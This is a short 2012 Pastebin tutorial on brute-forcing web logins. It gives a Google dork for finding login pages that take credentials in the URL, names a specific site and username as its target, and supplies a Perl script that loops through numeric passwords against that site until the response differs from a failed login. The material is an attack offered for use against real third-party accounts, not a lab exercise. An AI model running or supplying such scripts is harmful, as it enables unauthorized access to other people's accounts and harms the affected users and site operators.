Advertisement
HackerRIZLA

Bruteforce Tutorial.[Dictationary Attack]

Oct 14th, 2012
724
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.36 KB | None | 0 0
  1. In this tutorial I will show you how to Dictionary Attack & Bruteforce logins using Scripts.The way the script hacks the site is setting variable's in the URL which are then recieved by the website's PHP scripts.
  2.  
  3. First here are a few google dorks that you can use to find vulnerable sites:
  4. Code:
  5. inurl:"login.php?username="
  6.  
  7. So Ive now found my site:
  8.  
  9.  
  10. Code:
  11. http://www.2wapworld.com/login.php?username=dhudha08&password=2272941
  12.  
  13. We now know that there is a user called 'dhudha08' and Its appears he likes to use a mixture of numbers for his password.
  14.  
  15. Now we will use dorks to attempt to find more users...
  16. Code:
  17. inurl:http://www.2wapworld.com/login.php?username=
  18. Unfortunately we dont manage to find any more users so now Its time to create are script.
  19.  
  20. Here's mine in perl I will be using numbers because of the password that we attempted to login with:
  21. Code:
  22. #!usr/bin/perl
  23. #http://www.2wapworld.com/login.php?username=dhudha08&password=2272941
  24. use LWP::Simple;
  25. $pass=0;
  26. $fail=get("http://www.2wapworld.com/login.php?username=dhudha08&password=FAIL");
  27. while(1==1){
  28. $test=get("http://www.2wapworld.com/login.php?username=dhudha08&password=".$pass);
  29. if ($test eq $fail){
  30. system("cls");
  31. print $pass;
  32. }
  33. else{
  34. print "Password is:$pass\n";
  35. system("pause>nul");
  36. }
  37. $pass=$pass+1;
  38. }
  39. Now open your program it will start a dictionary attack against the site!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement